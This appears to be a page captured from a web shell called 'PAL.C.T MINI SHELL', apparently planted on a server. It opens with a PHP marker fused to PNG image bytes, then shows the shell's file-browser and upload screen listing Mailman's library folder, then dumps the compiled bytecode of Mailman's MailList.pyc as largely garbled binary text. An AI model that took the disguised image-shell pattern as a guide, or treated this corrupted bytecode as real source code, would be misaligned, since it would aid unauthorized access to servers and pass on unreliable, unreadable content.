php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/MailList.pyc

Pc7@sdZddkZddkZddkZddkZddkZddkZddkZddkZddk	Z	ddk
Z
ddklZddk
l
Z
ddklZddkTddkZddklZlZlZddklZdd	klZdd
klZddklZddklZdd
klZddkl Z ddk!l"Z"ddk#l$Z$ddk%l&Z&ddk'l(Z(ddk)l*Z*ddk+l,Z,ddk-l.Z.ddk/l0Z0ddk1l2Z2ddkl3Z3ddkl4Z4ddkl5Z5ddk6l7Z7ddkl8Z8ddkl9Z9ddkl:Z:ddk;l<Z<e:i=Z=d Z>ye?e@fWneAj
od!Z?d"Z@nXd#e,e&e.e e(e0e$e*e"e2e3i3fd$YZBdS(%sUThe class representing a Mailman mailing list.

Mixes in many task-specific classes.
iN(tStringIO(tUserDict(turlparse(t*(tgetaddressest
formataddrt	parseaddr(tHeader(tmm_cfg(tUtils(tErrors(tLockFile(tUserDesc(tArchiver(t
Autoresponder(tBouncer(t	Deliverer(tDigester(tGatewayManager(t
HTMLFormatter(t	ListAdmin(tSecurityManager(tTopicMgr(tPending(tGui(t
MemberAdaptor(tOldStyleMemberships(tMessage(tSite(ti18n(tsyslogtiitMailListcBseZd3ddZdZdZddZdZdZdZ	d	Z
d3d
ZdZdZ
d
dZdZdZdZdZdZddZdddZdZd3d
d
d3dZdZdZd3dZd3d3d3dZdZdZdZedZ d Z!d!Z"d"Z#d
d#Z$d3d$Z%d3d3d
d
d%Z&d3d3ed&Z'd3d3d3d'Z(d(Z)d)Z*d*Z+d3d+Z,d3d3d,Z-d-Z.d.Z/d/Z0d3d0Z1d1Z2d2Z3RS(4icCsx5|iiD]'}t|do|i|q
q
W|i|t||_|djodSti	i
|id}h}yt||Wn<t
j
o0}|itijoqtdd|n&X|id}|o||n|o|in|idS(Nt__init__s	extend.pyterrors"IOError reading list extension: %stextend(t	__class__t	__bases__thasattrR!tInitTempVarsRt_memberadaptortNonetostpathtjointfullpathtexecfiletIOErrorterrnotENOENTRtgettLocktLoad(tselftnametlockt	baseclasstfilenametdicttetfunc((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR!^s,


cCsryt|i|SWnWtj
oKxF|iD]-}yt||SWq/tj
oq/Xq/Wt|nXdS(N(tgetattrR(tAttributeErrort_gui(R5R6tguicomponent((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt__getattr__s
	cCs:|io
d}nd}d|i|t|fS(Ns(locked)s
(unlocked)s<mailing list "%s" %s at %x>(tLockedt
internal_nametid(R5tstatus((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt__repr__s


icCsE|ii|y|iWn tj
o|inXdS(N(t_MailList__lockR7R4t	ExceptiontUnlock(R5ttimeout((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR3s
cCs|iidddS(Ntunconditionallyi(RGtunlock(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRIscCs
|iiS(N(RGtlocked(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRBscCs|iS(N(t_internal_name(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRCscCs|iS(N(t
_full_path(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR-scCs?|djod|i|ifSd|i||ifS(Ns%s@%ss%s-%s@%s(R)RCt	host_name(R5textra((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytgetListAddresss
cCs
|idS(Ntbounces(RR(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetBouncesEmailscCs
|idS(Ntowner(RR(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt
GetOwnerEmailsRcCs0tio|o|i|S|idSdS(Ntrequest(RtVERP_CONFIRMATIONStGetConfirmEmailRR(R5tcookie((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetRequestEmailscCs.tihd|id6|d6d|iS(Ns
%s-confirmtaddrRZt@(RtVERP_CONFIRM_FORMATRCRP(R5RZ((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRYscCsbtioL|oEtiipti|i}tt	d|dd}|Sd|SdS(NsCYour confirmation is required to join the %(listname)s mailing listtheader_nametsubjectsconfirm (
RRXRtget_translationtcharsetR	t
GetCharSettpreferred_languageRt_(R5tlistnameRZtcsettsubj((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetConfirmJoinSubjects	cCsbtioL|oEtiipti|i}tt	d|dd}|Sd|SdS(NsDYour confirmation is required to leave the %(listname)s mailing listR_R`sconfirm (
RRXRRaRbR	RcRdRRe(R5RfRZRgRh((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetConfirmLeaveSubjects	cCs
|iS(N(RR(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetListEmailscCsB|ip|St|id\}}d||i|fSdS(sUsually the member addr, but modified for umbrella lists.

        Umbrella lists have other mailing lists as members, and so admin stuff
        like confirmation requests and passwords must not be sent to the
        member addresses - the sublists - but rather to the administrators of
        the sublists.  This routine picks the right address, considering
        regular member address to be their own administrative addresses.

        R]s%s%s@%sN(t
umbrella_listttupletsplittumbrella_member_suffix(R5tmembertacctthost((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetMemberAdminEmails

cCs$ti||i|d|iS(Nt/(R	t	ScriptURLtweb_page_urlRC(R5t
scriptnametabsolute((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetScriptURLscCsI|id|}|oti|}nd|ti|ifS(Ntoptionss%s/%s(RyR	tObscureEmailturllibtquotetlower(R5tusertobscureRxturl((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt
GetOptionsURLscCsd|_titiiti|pdddtidti|_	||_
|oti||_
n
d|_
x5|iiD]'}t|do|i|qqWg|_xGttD]9}|idoqn|iitt|qWd	S(
s6Set transient variables of this and inherited classes.is<site>s.locktlifetimetwithloggingRR'ReN(t_MailList__timestampRR*R+R,RtLOCK_DIRtLIST_LOCK_LIFETIMEtLIST_LOCK_DEBUGGINGRGRNRtget_listpathROR$R%R&R'R?tdirRt
startswithtappendR=(R5R6R8t	component((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR'
s&	#			
	
cCs)|o
||_nti|_d|_h|_ti|_d|_d|_	h|_
h|_h|_h|_
ti|_d|_ti|_ti|_ti|_tipti|_tipti|pti|_|g|_g|_ti |_!d|_"ti#|_$ti%|_&ti'|_(ti)|_*ti+|_,ti-|_.ti/|_0ti1|_2ti3|_4ti5|_6ti7|_8ti9|_:ti;|_<g|_=ti>|_?|i@}|diA|d|_Bd|_Cd|_Dd|_Ed|_FtiG|_HtiI|_JtiK|_LtiM|_NtiO|_PtiQ|_RtiS|_Tg|_Ud|_Vd|_WtiX|_YtiZ|_[ti\|_]ti^|__ti`|_atib|_ctid|_etif|_gtih|_id|_jtik|_ld|_md|_nd|_og|_pg|_qg|_rg|_stit|_utiv|_wd|_xg|_y||_zh|_{x5|i|i}D]'}t~|do|i|qqWti|i|_ti|_ti|_ti|iTdjo
d|_n
d|_ti|_ti|_dS(	s?Assign default values - some will be overriden by stored state.iig?RtInitVarssus-asciiiN(RNttimet
created_attvolumetmembersRtDATA_FILE_VERSIONtdata_versiontlast_post_timetpost_idtuser_optionstlanguaget	usernamest	passwordstDEFAULT_NEW_MEMBER_OPTIONStnew_member_optionstrespond_to_post_requeststDEFAULT_LIST_ADVERTISEDt
advertisedtDEFAULT_MAX_NUM_RECIPIENTStmax_num_recipientstDEFAULT_MAX_MESSAGE_SIZEtmax_message_sizetDEFAULT_HOST_NAMEtDEFAULT_EMAIL_HOSTRPtDEFAULT_URLtDEFAULT_URL_PATTERNtDEFAULT_URL_HOSTRvRUt	moderatortDEFAULT_REPLY_GOES_TO_LISTtreply_goes_to_listtreply_to_addresstDEFAULT_FIRST_STRIP_REPLY_TOtfirst_strip_reply_totDEFAULT_ADMIN_IMMED_NOTIFYtadmin_immed_notifytDEFAULT_ADMIN_NOTIFY_MCHANGEStadmin_notify_mchangest$DEFAULT_REQUIRE_EXPLICIT_DESTINATIONtrequire_explicit_destinationtDEFAULT_ACCEPTABLE_ALIASEStacceptable_aliasestDEFAULT_UMBRELLA_LISTRlt$DEFAULT_UMBRELLA_MEMBER_ADMIN_SUFFIXRotDEFAULT_REGULAR_EXCLUDE_LISTStregular_exclude_liststDEFAULT_REGULAR_INCLUDE_LISTStregular_include_liststDEFAULT_SEND_REMINDERStsend_reminderstDEFAULT_SEND_WELCOME_MSGtsend_welcome_msgtDEFAULT_SEND_GOODBYE_MSGtsend_goodbye_msgtDEFAULT_BOUNCE_MATCHING_HEADERStbounce_matching_headerstheader_filter_rulestDEFAULT_ANONYMOUS_LISTtanonymous_listRCtuppert	real_nametdescriptiontinfotwelcome_msgtgoodbye_msgtDEFAULT_SUBSCRIBE_POLICYtsubscribe_policytDEFAULT_UNSUBSCRIBE_POLICYtunsubscribe_policytDEFAULT_PRIVATE_ROSTERtprivate_rostertDEFAULT_OBSCURE_ADDRESSEStobscure_addressestDEFAULT_ADMIN_MEMBER_CHUNKSIZEtadmin_member_chunksizetDEFAULT_ADMINISTRIVIAt
administriviatDEFAULT_SERVER_LANGUAGERdtavailable_languagestinclude_rfc2369_headerstinclude_list_post_headertDEFAULT_FILTER_MIME_TYPEStfilter_mime_typestDEFAULT_PASS_MIME_TYPEStpass_mime_typest"DEFAULT_FILTER_FILENAME_EXTENSIONStfilter_filename_extensionst DEFAULT_PASS_FILENAME_EXTENSIONStpass_filename_extensionstDEFAULT_FILTER_CONTENTtfilter_contenttDEFAULT_COLLAPSE_ALTERNATIVEStcollapse_alternativest!DEFAULT_CONVERT_HTML_TO_PLAINTEXTtconvert_html_to_plaintexttDEFAULT_FILTER_ACTIONt
filter_actiontDEFAULT_NONDIGESTABLEt
nondigestabletpersonalizet!DEFAULT_DEFAULT_MEMBER_MODERATIONtdefault_member_moderationt	emergencytmember_moderation_actiontmember_moderation_noticetaccept_these_nonmembersthold_these_nonmemberstreject_these_nonmemberstdiscard_these_nonmemberstDEFAULT_FORWARD_AUTO_DISCARDStforward_auto_discardst DEFAULT_GENERIC_NONMEMBER_ACTIONtgeneric_nonmember_actiontnonmember_rejection_noticetban_listtpasswordthold_and_cmd_autoresponsesR$R%R&RtDEFAULT_SUBJECT_PREFIXt__dict__tsubject_prefixtDEFAULT_MSG_HEADERt
msg_headertDEFAULT_MSG_FOOTERt
msg_footerR	Rctencode_ascii_prefixestDEFAULT_SCRUB_NONDIGESTtscrub_nondigesttDEFAULT_MAX_DAYS_TO_HOLDtmax_days_to_hold(R5R6tadmintcrypted_passwordturlhosttinternalnameR8((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR%s
									
																						

	cCsYdtfdY}|}x3|iD](}|i\}}||f||<q)W|S(NtCategoryDictcBs,eZdZdZdZdZRS(cSsti|ti|_dS(N(RR!RtADMIN_CATEGORIEStkeysinorder(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR!s
cSs|iS(N(R(R5((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytkeysscSs8g}x+tiD] }|i||i|fqW|S(N(RRRtdata(R5titemstk((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRs

cSs2g}x%tiD]}|i|i|qW|S(N(RRRR(R5tvaluesR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRs

(t__name__t
__module__R!RRR(((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRs			(RR?tGetConfigCategory(R5Rt
categoriestguiRtv((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetConfigCategoriess	
cCsMxF|iD];}t|do%|i|}|dj	o|Sq
q
WdS(NtGetConfigSubCategories(R?R&R!R)(R5tcategoryRtsubcat((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR!s


cCsMxF|iD];}t|do%|i|||}|o|Sq
q
WdS(Nt
GetConfigInfo(R?R&R$(R5R"R#Rtvalue((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR$s
c	Cs]||ijp
tdti|oti|nttit	i
d|djoti|n|djo
t	i
}nd||f}yti|Wn"tij
oti|nXti|||_ti|dd|_|ii|i|||d||i|djo|ig|_n
||_dS(Ns!List name must be all lower case.Ris%s@%stcreateiR(R~tAssertionErrorR	tlist_existsR
tMMListAlreadyExistsErrortlentretsubRtACCEPTABLE_LISTNAME_CHARACTERStBadListNameErrorR)Rt
ValidateEmailtEmailAddressErrorRNRRRORGR7RtCheckValuesRdR(R5R6RRtlangst	emailhostRtpostingaddr((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytCreates*%


	


cCstii|id}|dtitif}|d}d}y[t|d}t	i
||d|iti
oti|in|iWnFtj
o:}tdd||dj	oti|nnXyti|Wn/tj
o#}|itijoq2nXyti||Wn/tj
o#}|itijoqxnXti||tii||_dS(Ns
config.pcks
.tmp.%s.%ds.lasttwiR"s0Failed config.pck write, retaining old state.
%s(R*R+R,R-tsockettgethostnametgetpidR)topentcPickletdumptflushRtSYNC_AFTER_WRITEtfsynctfilenotcloseR/RtunlinktOSErrorR0R1tlinktrenametgetmtimeR(R5R:tfnamet	fname_tmpt
fname_lasttfpR;((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt__saves: 




cCs|iih}xR|iiD]A\}}|ddjpt|tjoq#n|||<q#Wtid}z|i|Wdti||i	X|i
dS(NiRei(RGtrefreshRRttypet
MethodTypeR*tumaskt_MailList__savetSaveRequestsDbtCheckHTMLArchiveDir(R5R:tkeyR%tomask((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytSave+s
$
cCs_|idp|ido
ti}n?|idp|ido
ti}ndp
tdy7tii|}||ijodSt
|}Wn6tj
o*}|iti
jond|fSXzcy(||}t|tjod	SWn4tttttitifj
o}d|fSXWd|iX||_|dfS(
Ns.dbs.db.lasts.pcks	.pck.lastisBad database file names&Load() expected to return a dictionary(NN(Ns&Load() expected to return a dictionary(tendswithtmarshaltloadR;R'R*R+RFRR)R:tEnvironmentErrorR0R1RMtDictTypetEOFErrort
ValueErrort	TypeErrortMemoryErrort
PicklingErrortUnpicklingErrorRA(R5tdbfiletloadfunctmtimeRJR;R:((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt__loadAs2 
 
	
	c
Csti|ip
tintii|id}|d}tii|id}|d}x||||fD]U}|i	|\}}|djo,|dj	otdd||qdSqPqWtdd|iti|||jp
||jotdd|t
}	zMy|iiWntij
o
t}	nX|i|||||Wd|	o|iinXn|ii||o|i||indS(Ns
config.pcks.lasts	config.dbR"scouldn't load config file %s
%ss(All %s fallbacks were corrupt, giving ups%fixing corrupt config file, using: %s(R	R(RCR
tMMUnknownListErrorR*R+R,R-t_MailList__loadR)RtMMCorruptListDatabaseErrortTrueRGR7RtAlreadyLockedErrortFalset_MailList__fix_corrupt_pckfileRLRtupdatetCheckVersionR1(
R5t
check_versiontpfiletplasttdfiletdlasttfileR:R;RL((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR4psB




		

c
Cs||joyti||dWn/tj
o#}|itijoqWnXyti|dWn/tj
o#}|itijoqnXti||ti||dn||joyti||dWn/tj
o#}|itijoqnXyti|dWn/tj
o#}|itijoqdnXti||ti||dndS(Ns.corrupts.safety(R*RERCR0R1tremovetshutiltcopy(R5RsRoRpRqRrR;((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt__fix_corrupt_pckfiles4

cCs|itijodS|id|_|idd|i}|p|inz7ddkl	}|||ti|_|i
Wd|p|inXdS(s Auto-update schema if necessary.NiRni(tUpdate(RRRRRR4RBR3tversionsRxRURI(R5tstored_statet	waslockedRx((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRms
	
c
Cs{dt|id jo!tiptiti|_n|io(|iddjo|id|_ny2|iio|iot	i
|inWnDtij
o5t
dd|i|id|_d|_nXg}x|iD]t\}}}}yti|Wn5titfj
o t
dd||iqX|i||||fqW||_d	S(
s+Normalize selected values to known formats.RiiRtR"s.Bad reply_to_address "%s" cleared for list: %sis#Bad topic pattern "%s" for list: %sN(RRvRRRRRtstripRR	R/R
R0RRCttopicsR+tcompileR"R]R(R5t
goodtopicsR6tpatterntdesct	emptyflag((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR1s.
		
	cCsQ|i}ti||i|}|oti|n|i|_|it	i
|}|id}d|iddd|f}|i
}|tidh|d6|d6|id	6|d
6|d6|d6|id
6d|7}|i|}	ti||	d|d|i}
|i||}|
d=||
d<|
i|dS(sInvite a new member to the list.

        This is done by creating a subscription pending for the user, and then
        crafting a message to the member informing them of the invitation.
        RWs%s/%stconfirmRxis
invite.txttemailRfthostnamet
confirmurltrequestaddrRZt	listownertmlistttexttlangR`tSubjectN(taddressR	R/tGetBannedPatternR
tMembershipIsBannedRCt
invitationtpend_newRtSUBSCRIPTIONRRRyRtmaketextRPRVR[RtUserNotificationRdRitsend(R5tuserdescRtinviteeRRZRRRftsendertmsgRh((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytInviteNewMembers:	

		


	
cCs|iptti|i}t|dd}t|d|i}t|dd$}t|dti}|d$jo|i	o
d}qd}nti
||i|oti
|n|i|iijo
tin|i}|i|}	|	o&tdd	|||	ti|	n|o|io
tin!|o|i	o
tin||_||_||_||_||_|idjo|i|d
|pdn|idjp|idjo~|iti |}
|d$jod}}nd|}t!d
}|i"|}d|i#ddd|
f}
ti$dh|d6|id6|d6|
d6|i%dd6|d6|i&d6|
d6d|d|}t'i(||i)|
d|d|}|d=|i*||
|d<|i)|
|d <|i+|t,||f}td!d"|i-||ti.n,|i/|||||ti0t!d#d$S(%sFront end to member subscription.

        This method enforces subscription policy, validates values, sends
        notifications, and any other grunt work involved in subscribing a
        user.  It eventually calls ApprovedAddMember() to do the actual work
        of subscribing the user.

        userdesc is an instance with the following public attributes:

            address  -- the unvalidated email address of the member
            fullname -- the member's full name (i.e. John Smith)
            digest   -- a flag indicating whether the user wants digests or not
            language -- the requested default language for the user
            password -- the user's password

        Other attributes may be defined later.  Only address is required; the
        others all have defaults (fullname='', digests=0, language=list's
        preferred language, password=generated).

        remote is a string which describes where this add request came from.
        tfullnameRRtdigestRiitvettes(%s banned subscription: %s (matched: %s)twhenceit s from %(remote)ss%s/%sRRxs
verify.txtRtlistaddrRfRZRWRtremotet	listadminRRRRR`RsReply-Tot	subscribes%s: pending %s %ss8subscriptions to %(realname)s require moderator approvalN(1RBR'R	tLCDomainRR=RdR)tMakeRandomPasswordRR/tisMemberR
tMMAlreadyAMemberR~RktMMBadEmailErrorRRRRt
digestabletMMCantDigestErrortMMMustDigestErrorRRRRRtApprovedAddMemberRRRReRsRyRRRRVRRR[RiRRRCtMMSubscribeNeedsConfirmationtHoldSubscriptiontMMNeedApproval(R5RRRR6RRRtrealnameRRZtbyt	recipientRRRtwho((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt	AddMember.s





		


					 







	
	c
Cs|ipt|d
jo
|i}n|d
jo
|i}nti|i}t|dd}t|d|i	}t|dd
}	t|dti
}
|	d
jo|io
d}	qd}	nti||i
|oti|n|i|}|oti|n|i|d|d|	d|
d||i|tid|i|i|ti|i|	o
d	}nd}td
d|i|t||f||o#|i||i||	|n|o|i	}ti}
ti |z|i!}t"d}Wd
ti#|
Xt$|t%o|i&ti'|d}nti(dh|d6t||fd6d|}t)i*|||}|i+|nd
S(sAdd a member right now.

        The member's subscription must be approved by what ever policy the
        list enforces.

        userdesc is as above in AddMember().

        ack is a flag that specifies whether the user should get an
        acknowledgement of their being subscribed.  Default is to use the
        list's default flag value.

        admin_notif is a flag that specifies whether the list owner should get
        an acknowledgement of this subscription.  Default is to use the list's
        default flag value.
        RRRRRiiRs	 (digest)Rs%s: new%s %s, %ss&%(realname)s subscription notificationNtreplacesadminsubscribeack.txtRfRpR(,RBR'R)RRR	RRR=RdRRR/RR
RRRtaddNewMembertsetMemberOptionRtDisableMimetmime_is_default_digesttModerateRRRCRtSendSubscribeAcktgetMemberPasswordRRatset_languageRRetset_translationt
isinstancetUnicodeTypetencodeRcRRtOwnerNotificationR(R5Rtacktadmin_notifRRRR6RRRRtkindtotransRR`R((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRsf











	
	
	cCs_t|\}}|idjo|i||||n |i|titddS(Nis*unsubscriptions require moderator approval(RRtApprovedDeleteMembertHoldUnsubscriptionR
RRe(R5R6RRtuserackRR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytDeleteMembers
	cCs#|djo
|i}n|djo
|i}nt|\}}|i|}|i||o|i||n|od|i}td}	t	i
dh|d6|id6d|}
ti||	|
}|i
|n|od|}nd}tdd	|i||dS(
Ns%%(realname)s unsubscribe notificationsadminunsubscribeack.txtRpRfRs; %sRRs%s: deleted %s%s(R)RRRtgetMemberLanguagetremoveMembertSendUnsubscribeAckRReR	RRRRRRC(R5R6RRRRt	emailaddrtuserlangRR`RR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRs0




	

		cCs|i|||pdSxtiD]}||ijoq)nt|dd}|i|ijoq)n|i|pq)n|iz|i|||iWd|i	Xq)WdS(NR7i(
t
setMemberNameR	t
list_namesRCR RPRR3RURI(R5R\R6tgloballyRfR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytChangeMemberNames"

cCsti|}ti||o3|i|o#||i|jo
tin||iijo
ti	n|i
}|i|}|o)tdd||||ti
|n|iti|||}d|iddd|f}|i|}tidh|d6|id	6|d
6|d6|idd
6dd6|id6|d6d|d|}	ti||i|d|	d|}
|
d=|i|||
d<|i||
d<|
i|dS(NRs0%s banned address change: %s -> %s (matched: %s)s%s/%sRRxis
verify.txtRRRfRZRWRRRRRRRRR`RsReply-To(R	RR/RtgetMemberCPAddressR
RRkR~RRRRRRRtCHANGE_OF_ADDRESSRyRRRRRVRRR[RiR(R5toldaddrtnewaddrRRRRZRRRR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytChangeMemberAddress*sJ


	




cCs|i|}|oti|n|i|oA|i||jo+|i||jo|i|qn|i|||pdSxtiD]}||i	joqnt
|dd}|i|ijoqn|i|pqn|i|oqn|izo|i|oA|i||jo+|i||jo|i|qn|i|||i
Wd|iXqWdS(NR7i(RR
RRRRtchangeMemberAddressR	RRCR RPR3RURI(R5RRRRRfR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytApprovedChangeMemberAddressds<	


c
Cs|i|}|djotid|ny|d}|d}Wn&tj
otid|fnX|tijoJd}y_|d}t|to||7}d}n|i	}|i
}	|i}
|i}|i
}Wn&tj
otid|fnXt|dt}
|
o4|
|ijo|i|
|tiqnI|idjo8|i||	|
|||i}titdn|i|d||||
||fS|tijoK|d}t|tio
d
}nd}|i|d|||fS|tijo0|\}}}|i||||||fS|tijo|d}d}t|tio+|id|id}|py&t t!i"i#|ddd}Wnt$j
o
d}nX|ot%|i&}xt'o|i(}|pPn|i)pqn|i*d}|djoJ|| i+djp|| i+djo||di)}qnPqWqqn|dj	oR|i,t-i.t-i/g|t-i0jo
t-i1}q,|i2||ti3n
t-i4}y|i5||Wn#t6j
ot7dd|nX|fS|ti8jo(|d}|i9|t:i;||fSdpt<d|dS(NsNo cookie record for %siisop-less data %ssvia email confirmationsvia web confirmationsbad subscr data %sRiis8subscriptions to %(name)s require administrator approvalRsemail confirmationsweb confirmationtApprovedtApproveRtplaint:tapprovetapprovedR"s"Could not process HELD_MESSAGE: %ss
Bad op: %s(ii(=tpend_confirmR)R
tMMBadConfirmationR\RRRRRRRRRR=RjRCtSendHostileSubscriptionNoticetHostileSubscriptionErrorRRRRReRtUNSUBSCRIPTIONRRRRtHELD_MESSAGER2tlistRt	Iteratorsttyped_subpart_iteratort
IndexErrorRtget_payloadRhtreadlineR|tfindR~tAuthenticateRt
AuthListAdmintAuthListModeratortUnAuthorizedtAPPROVEtpend_rependtMMBadPasswordErrortDISCARDt
HandleRequesttKeyErrorRt	RE_ENABLEtsetDeliveryStatusRtENABLEDR'(R5RZtcontexttrectopRRRR\RRRRRR6RRRRDRtsubparttstlinetitactionRp((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytProcessConfirmations




				
		






	

	
c
Csc|djo|i|}n|iti|}d|iddd|f}|i}|dj	od|}td}n
d}d}ti	dh|d	6|i
d
6|d6|d6|id
d6|d6|id6|d6d|d|}t
i||i|d|d|}	|	d=|i|||	d<|i||	d<|	i|dS(Ns%s/%sRRxiRs from %(remote)sRs	unsub.txtRRRfRZRWRRRRRRRR`RsReply-To(R)RRRRRyRReR	RRkRRRVRRR[RjR(
R5R\RRRZRRRRR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytConfirmUnsubscriptions:

	





c
	Csld|i|if}g}g}x-d	D]%}|it|i|gq,Wx|D]w\}}|d
joq\n|i}|idd}||ijp
||jotS|i	||fq\Wd}	|i
i}
xv|D]n\}}x_|
D]W}|i}|pq	nd|jo|	||otS|	||otSq	WqWt
S(stTrue if list name or any acceptable_alias is included among the
        addresses in the recipient headers.
        s%s@%sttotccs	resent-tos	resent-ccR]icSsfy"ti||tiotSWn=tij
o.titi||tiotSnXtS(N(R+tmatcht
IGNORECASERhR"tescapeRj(RR\((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytdomatchVs	"
(stoRs	resent-tos	resent-ccN(RCRPR#Rtget_allR)R~RnRhRRt
splitlinesR|Rj(
R5RtlistfullnametrecipsRtheaderRR\t	localpartR
taliasestaliaststripped((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytHasExplicitDest<s<#

	
c
Cs
g}x|iidD]}|i}|p|ddjoqn|id}|djotdd|i|q|| }||di}yti|ti	}Wn1ti
j
o"}tdd|i||qX|i|||fqW|S(	s:Return a list of triples [(field name, regex, line), ...].s
it#Rtconfigs&bad bounce_matching_header line: %s
%sis=bad regexp in bounce_matching_header line: %s

%s (cause: %s)(RRnR|RRRtlstripR+R~RR"R(R5tallRRRR%tcreR;((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytparse_matching_header_optus&
	
cCsVxO|iD]A\}}}x/|i|gD]}|i|o|Sq/Wq
WdS(sReturn true if named header field matches a regexp in the
        bounce_matching_header list variable.

        Returns constraint line which matches or empty string for no
        matches.
        i(RRtsearch(R5RRRRR%((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pythasMatchingHeaders

c	Cs|djo
|i}nti|tidjodStid }|ii	|}|djp|d|jo|df|i|<dS|\}}|djot
dd|dS|tijot
dd||df|i|<tidh|d	6d
|i
|ifd6|d6|id
6d|}ti||itd|d|}|i|dS||df|i|<dS(sReturn true if Mailman should auto-respond to this sender.

        This is only consulted for messages sent to the -request address, or
        for posting hold notifications, and serves only as a safety value for
